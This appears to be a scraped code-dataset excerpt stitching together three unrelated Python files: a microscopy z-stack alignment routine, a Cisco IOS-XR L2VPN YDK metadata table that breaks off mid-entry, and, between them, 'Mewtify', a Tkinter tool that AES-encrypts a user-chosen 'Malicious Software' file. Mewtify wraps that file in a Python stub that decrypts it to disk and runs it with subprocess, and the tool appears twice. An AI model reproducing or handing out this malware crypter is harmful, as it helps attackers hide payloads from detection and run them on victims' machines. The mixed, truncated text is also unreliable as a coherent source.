self.stacks[channel] return { 'min': np.array([zslice.min() for zslice in stack]).astype(int), 'max': np.array([zslice.max() for zslice in stack]).astype(int), 'mean': np.array([zslice.mean() for zslice in stack]).astype(int), 'p9999': np.array([np.percentile(zslice, 99.99) for zslice in stack]).astype(int), } @staticmethod def find_cell_layer(stack): # z-profile of the mean intensity in the Hoechst channel raw_profile = np.array([zslice.mean() for zslice in stack]).astype(float) profile = raw_profile - raw_profile.mean() profile[profile < 0] = 0 x = np.arange(len(profile)) center_of_mass = (profile * x).sum()/profile.sum() return center_of_mass, raw_profile def align_cell_layer( self, cell_layer_bottom, cell_layer_top, step_size, bottom_wiggle_room=0 ): stacks = {} result = {} stack_405 = self.stacks[self.laser_405].copy() stack_488 = self.stacks[self.laser_488].copy() # hard-coded chromatic aberration offset in microns # this is an empirically estimated median offset, # obtained by inspecting z-stacks from nucleus-localized targets chromatic_aberration_offset = 1.0 offset_ind = int(chromatic_aberration_offset/step_size) stack_405 = stack_405[:-offset_ind, :, :] stack_488 = stack_488[offset_ind:, :, :] # estimate the cell layer center and round it the nearest z-slice cell_layer_center, _ = self.find_cell_layer(stack_405) cell_layer_center = np.round(cell_layer_center) # absolute position, in number of z-slices, of the top and bottom of the cell layer bottom_ind = int(np.floor(cell_layer_center + cell_layer_bottom/step_size)) top_ind = int(np.ceil(cell_layer_center + cell_layer_top/step_size)) # log some parameters (for debugging, mostly) result['padded'] = False result['stack_shape'] = stack_405.shape result['crop_window'] = [bottom_ind, top_ind] result['cell_layer_center'] = cell_layer_center result['chromatic_aberration_offset'] = offset_ind pad_depth = None if bottom_ind < 0: if abs(bottom_ind) <= np.round(bottom_wiggle_room/step_size): pad_depth = abs(bottom_ind) bottom_ind = 0 else: result['error'] = 'The cell layer center was too close to the bottom of the stack' return stacks, result if top_ind >= stack_405.shape[0]: result['error'] = 'The cell layer center was too close to the top of the stack' return stacks, result stack_405 = stack_405[bottom_ind:top_ind, :, :] stack_488 = stack_488[bottom_ind:top_ind, :, :] # pad the bottom of the stack if necessary if pad_depth: result['padded'] = True result['pad_depth'] = pad_depth padding = np.zeros((pad_depth, *stack_405.shape[1:]), dtype=stack_405.dtype) stack_405 = np.concatenate((padding, stack_405), axis=0) stack_488 = np.concatenate((padding, stack_488), axis=0) stacks = {'405': stack_405, '488': stack_488} return stacks, result

true

f7050ebecfade791d4ef5451036aca5787d01b52

3,395

py

Python

venv/venv/Scripts/Mewtify4Windows.py

FullstackAcademy/Mewtify

f6b23a6cf3da3f57bd27256e88786cc8c87e851d

[ "MIT" ]

null

venv/venv/Scripts/Mewtify4Windows.py

FullstackAcademy/Mewtify

f6b23a6cf3da3f57bd27256e88786cc8c87e851d

[ "MIT" ]

null

venv/venv/Scripts/Mewtify4Windows.py

FullstackAcademy/Mewtify

f6b23a6cf3da3f57bd27256e88786cc8c87e851d

[ "MIT" ]

1

2021-12-17T01:06:42.000Z

#!/usr/bin/env python3 import tkinter as tk import binascii, pyaes, sys, base64, os.path, os from tkinter import * from pathlib import Path from tkinter.font import Font from tkinter.filedialog import askopenfilename import secrets import string def main(): global entry3 input2 = entry3.get() # Open file file_name = malwarename # Malware path new_file_name = input2 # Path to drop file file = open(file_name, "rb") file_data = file.read() file.close() # Crypt file data (Using AES) key = bytearray(ran_string, 'UTF-8') # 16 bytes key - change for your key aes = pyaes.AESModeOfOperationCTR(key) crypto_data = aes.encrypt(file_data) # Create Stub in Python File stub = "import pyaes\n" stub += "import sys\n" stub += "crypto_data_hex = " + str(crypto_data) + "\n" stub += "key = " + str(key) + "\n" stub += "new_file_name = \"" + str(new_file_name) + "\"\n" stub += "aes = pyaes.AESModeOfOperationCTR(key)\n" stub += "crypto_data = crypto_data_hex\n" stub += "decrypt_data = aes.decrypt(crypto_data)\n" # Save file stub += "new_file = open(new_file_name, 'wb')\n" stub += "new_file.write(decrypt_data)\n" stub += "new_file.close()\n" # Execute file stub += "import subprocess\n" stub += 'proc = subprocess.Popen("python "+new_file_name, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n' # Save the Stub stub_name = str(input2) stub_file = open(stub_name, "w") stub_file.write(stub) stub_file.close() return def fname(): global malwarename malwarename = askopenfilename() return malwarename N=16 ran_string = ''.join(secrets.choice(string.ascii_uppercase + string.digits) for i in range(N)) # GUI Dimensions HEIGHT = 500 WIDTH = 700 root = tk.Tk() # GUI NAME AND SIZE root.title("MEWTIFY") canvas = tk.Canvas(root, height=HEIGHT, width=WIDTH) canvas.pack() background_image = tk.PhotoImage(file='yaj.png') background_label = tk.Label(root, image=background_image) background_label.image= background_image background_label.place(relwidth=1,relheight=1) root.resizable(False, False) # GUI HEADER frame = tk.Frame(root, bg='#80C1FF', bd=5) frame.place(relx=0.5, rely=0.05, relwidth=1, relheight=0.2, anchor='n') label = tk.Label(frame, text="Welcome to Mewtify!", font=("-weight bold", 27), bg='#80C1FF') label.place(relx=0.3, rely=0, relwidth=.5, relheight=1) # INPUT 1 label2 = tk.Label(root, text="Malicious Software with full path:", anchor='w', font=15) label2.place(relx=0, rely=0.35, relwidth=0.4, relheight=0.10) filebutton = tk.Button(root, text="Select", font=40, command=fname) filebutton.place(relx=.5, rely=0.35, relwidth=0.45, relheight=0.09) # INPUT2 label3 = tk.Label(root, text="Name of Mutated Software:", anchor='w', font=15) label3.place(relx=0, rely=0.5, relwidth=0.4, relheight=0.10) entry3 = tk.Entry(root, font=40) entry3.place(relx=.5, rely=0.5, relwidth=0.45, relheight=0.09) entry3.focus_set() # button mashing button = tk.Button(root, text="MEWTIFY", bg="purple", font=40, command=main) button.place(relx=0.3, rely=0.8, relwidth=0.45, relheight=0.15) button1=tk.Button(root, text="click to exit", bg= "red", font =10,command=root.destroy) button1.place(relx=.8, rely=0.9, relwidth=0.15, relheight=0.05) root.mainloop()

33.613861

147

0.68218

import tkinter as tk import binascii, pyaes, sys, base64, os.path, os from tkinter import * from pathlib import Path from tkinter.font import Font from tkinter.filedialog import askopenfilename import secrets import string def main(): global entry3 input2 = entry3.get() file_name = malwarename new_file_name = input2 file = open(file_name, "rb") file_data = file.read() file.close() key = bytearray(ran_string, 'UTF-8') aes = pyaes.AESModeOfOperationCTR(key) crypto_data = aes.encrypt(file_data) stub = "import pyaes\n" stub += "import sys\n" stub += "crypto_data_hex = " + str(crypto_data) + "\n" stub += "key = " + str(key) + "\n" stub += "new_file_name = \"" + str(new_file_name) + "\"\n" stub += "aes = pyaes.AESModeOfOperationCTR(key)\n" stub += "crypto_data = crypto_data_hex\n" stub += "decrypt_data = aes.decrypt(crypto_data)\n" stub += "new_file = open(new_file_name, 'wb')\n" stub += "new_file.write(decrypt_data)\n" stub += "new_file.close()\n" stub += "import subprocess\n" stub += 'proc = subprocess.Popen("python "+new_file_name, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n' stub_name = str(input2) stub_file = open(stub_name, "w") stub_file.write(stub) stub_file.close() return def fname(): global malwarename malwarename = askopenfilename() return malwarename N=16 ran_string = ''.join(secrets.choice(string.ascii_uppercase + string.digits) for i in range(N)) HEIGHT = 500 WIDTH = 700 root = tk.Tk() root.title("MEWTIFY") canvas = tk.Canvas(root, height=HEIGHT, width=WIDTH) canvas.pack() background_image = tk.PhotoImage(file='yaj.png') background_label = tk.Label(root, image=background_image) background_label.image= background_image background_label.place(relwidth=1,relheight=1) root.resizable(False, False) frame = tk.Frame(root, bg='#80C1FF', bd=5) frame.place(relx=0.5, rely=0.05, relwidth=1, relheight=0.2, anchor='n') label = tk.Label(frame, text="Welcome to Mewtify!", font=("-weight bold", 27), bg='#80C1FF') label.place(relx=0.3, rely=0, relwidth=.5, relheight=1) label2 = tk.Label(root, text="Malicious Software with full path:", anchor='w', font=15) label2.place(relx=0, rely=0.35, relwidth=0.4, relheight=0.10) filebutton = tk.Button(root, text="Select", font=40, command=fname) filebutton.place(relx=.5, rely=0.35, relwidth=0.45, relheight=0.09) label3 = tk.Label(root, text="Name of Mutated Software:", anchor='w', font=15) label3.place(relx=0, rely=0.5, relwidth=0.4, relheight=0.10) entry3 = tk.Entry(root, font=40) entry3.place(relx=.5, rely=0.5, relwidth=0.45, relheight=0.09) entry3.focus_set() button = tk.Button(root, text="MEWTIFY", bg="purple", font=40, command=main) button.place(relx=0.3, rely=0.8, relwidth=0.45, relheight=0.15) button1=tk.Button(root, text="click to exit", bg= "red", font =10,command=root.destroy) button1.place(relx=.8, rely=0.9, relwidth=0.15, relheight=0.05) root.mainloop()

true

f7050ec21fb698ea4268b24c71bc79f1318a524a

436,547

py

Python

cisco-ios-xr/ydk/models/cisco_ios_xr/_meta/_Cisco_IOS_XR_l2vpn_cfg.py

tkamata-test/ydk-py

b637e7853a8edbbd31fbc05afa3aa4110b31c5f9

[ "ECL-2.0", "Apache-2.0" ]

null

cisco-ios-xr/ydk/models/cisco_ios_xr/_meta/_Cisco_IOS_XR_l2vpn_cfg.py

tkamata-test/ydk-py

b637e7853a8edbbd31fbc05afa3aa4110b31c5f9

[ "ECL-2.0", "Apache-2.0" ]

null

cisco-ios-xr/ydk/models/cisco_ios_xr/_meta/_Cisco_IOS_XR_l2vpn_cfg.py

tkamata-test/ydk-py

b637e7853a8edbbd31fbc05afa3aa4110b31c5f9

[ "ECL-2.0", "Apache-2.0" ]

null

import re import collections from enum import Enum from ydk._core._dm_meta_info import _MetaInfoClassMember, _MetaInfoClass, _MetaInfoEnum from ydk.types import Empty, YList, YLeafList, DELETE, Decimal64, FixedBitsDict from ydk._core._dm_meta_info import ATTRIBUTE, REFERENCE_CLASS, REFERENCE_LIST, REFERENCE_LEAFLIST, REFERENCE_IDENTITY_CLASS, REFERENCE_ENUM_CLASS, REFERENCE_BITS, REFERENCE_UNION from ydk.errors import YPYError, YPYModelError from ydk.providers._importer import _yang_ns _meta_table = { 'FlowLabelTlvCodeEnum' : _MetaInfoEnum('FlowLabelTlvCodeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { '17':'Y_17', 'disable':'disable', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'BackupDisableEnum' : _MetaInfoEnum('BackupDisableEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'never':'never', 'delay':'delay', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'BgpRouteTargetFormatEnum' : _MetaInfoEnum('BgpRouteTargetFormatEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'none':'none', 'two-byte-as':'two_byte_as', 'four-byte-as':'four_byte_as', 'ipv4-address':'ipv4_address', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'LoadBalanceEnum' : _MetaInfoEnum('LoadBalanceEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'source-dest-mac':'source_dest_mac', 'source-dest-ip':'source_dest_ip', 'pseudowire-label':'pseudowire_label', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'InterworkingEnum' : _MetaInfoEnum('InterworkingEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'ethernet':'ethernet', 'ipv4':'ipv4', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'PwSwitchingPointTlvEnum' : _MetaInfoEnum('PwSwitchingPointTlvEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'hide':'hide', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'MacAgingEnum' : _MetaInfoEnum('MacAgingEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'absolute':'absolute', 'inactivity':'inactivity', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2Tpv3SequencingEnum' : _MetaInfoEnum('L2Tpv3SequencingEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'off':'off', 'both':'both', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'ErpPort1Enum' : _MetaInfoEnum('ErpPort1Enum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'port0':'port0', 'port1':'port1', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'InterfaceProfileEnum' : _MetaInfoEnum('InterfaceProfileEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'snoop':'snoop', 'dhcp-protocol':'dhcp_protocol', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2EncapsulationEnum' : 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[], ''' Associates a set of VLAN IDs with the G .8032 instance ''', 'inclusion_list', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('profile', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Ethernet ring protection instance profile ''', 'profile', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('rpl', REFERENCE_CLASS, 'Rpl' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Rpl', [], [], ''' Ring protection link ''', 'rpl', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-instance', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances', False, [ _MetaInfoClassMember('erp-instance', REFERENCE_LIST, 'ErpInstance' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance', [], [], ''' Ethernet ring protection instance ''', 'erp_instance', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-instances', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.None_' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.None_', False, [ _MetaInfoClassMember('monitor', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Ethernet ring protection port1 monitor ''', 'monitor', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'none', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.VirtualOrInterface' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.VirtualOrInterface', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Port1 interface ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('monitor', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Ethernet ring protection port1 monitor ''', 'monitor', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'virtual-or-interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1', False, [ _MetaInfoClassMember('erp-port-type', REFERENCE_ENUM_CLASS, 'ErpPortEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'ErpPortEnum', [], [], ''' Port1 type ''', 'erp_port_type', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('none', REFERENCE_CLASS, 'None_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.None_', [], [], ''' none ''', 'none', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('virtual-or-interface', REFERENCE_LIST, 'VirtualOrInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.VirtualOrInterface', [], [], ''' virtual or interface ''', 'virtual_or_interface', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-port1', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S', False, [ _MetaInfoClassMember('erp-port1', REFERENCE_LIST, 'ErpPort1' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1', [], [], ''' Ethernet ring protection port1 ''', 'erp_port1', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-port1s', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring', False, [ _MetaInfoClassMember('g8032-ring-name', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the G8032 ring ''', 'g8032_ring_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('erp-instances', REFERENCE_CLASS, 'ErpInstances' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances', [], [], ''' List of ethernet ring protection instance ''', 'erp_instances', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('erp-port0s', REFERENCE_CLASS, 'ErpPort0S' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S', [], [], ''' Ethernet ring protection port0 ''', 'erp_port0s', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('erp-port1s', REFERENCE_CLASS, 'ErpPort1S' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S', [], [], ''' Ethernet ring protection port0 ''', 'erp_port1s', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('erp-provider-bridge', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Ethernet ring protection provider bridge ''', 'erp_provider_bridge', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('exclusion-list', ATTRIBUTE, 'str' , None, None, [], [], ''' Vlan IDs in the format of a-b,c,d,e-f,g ,untagged ''', 'exclusion_list', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('open-ring', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Specify the G.8032 instance as open ring ''', 'open_ring', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'g8032-ring', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings', False, [ _MetaInfoClassMember('g8032-ring', REFERENCE_LIST, 'G8032Ring' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring', [], [], ''' G8032 Ring ''', 'g8032_ring', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'g8032-rings', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits.BackupAttachmentCircuit' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits.BackupAttachmentCircuit', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Name of the attachment circuit interface ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-attachment-circuit', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits', False, [ _MetaInfoClassMember('backup-attachment-circuit', REFERENCE_LIST, 'BackupAttachmentCircuit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits.BackupAttachmentCircuit', [], [], ''' Backup attachment circuit ''', 'backup_attachment_circuit', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-attachment-circuits', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns.PseudowireEvpn' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns.PseudowireEvpn', False, [ _MetaInfoClassMember('eviid', ATTRIBUTE, 'int' , None, None, [('1', '65534')], [], ''' Ethernet VPN ID ''', 'eviid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('remote-acid', ATTRIBUTE, 'int' , None, None, [('1', '16777215')], [], ''' Remote AC ID ''', 'remote_acid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('source-acid', ATTRIBUTE, 'int' , None, None, [('1', '16777215')], [], ''' Source AC ID ''', 'source_acid', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-evpn', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns', False, [ _MetaInfoClassMember('pseudowire-evpn', REFERENCE_LIST, 'PseudowireEvpn' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns.PseudowireEvpn', [], [], ''' EVPN P2P Service Configuration ''', 'pseudowire_evpn', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-evpns', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.MplsStaticLabels' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.MplsStaticLabels', False, [ _MetaInfoClassMember('local-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire local static label ''', 'local_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('remote-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire remote static label ''', 'remote_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mpls-static-labels', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels', False, [ _MetaInfoClassMember('local-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire local static label ''', 'local_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('remote-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire remote static label ''', 'remote_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-mpls-static-labels', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire', False, [ _MetaInfoClassMember('neighbor', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Neighbor IP address ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('pseudowire-id', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Pseudowire ID ''', 'pseudowire_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('backup-mpls-static-labels', 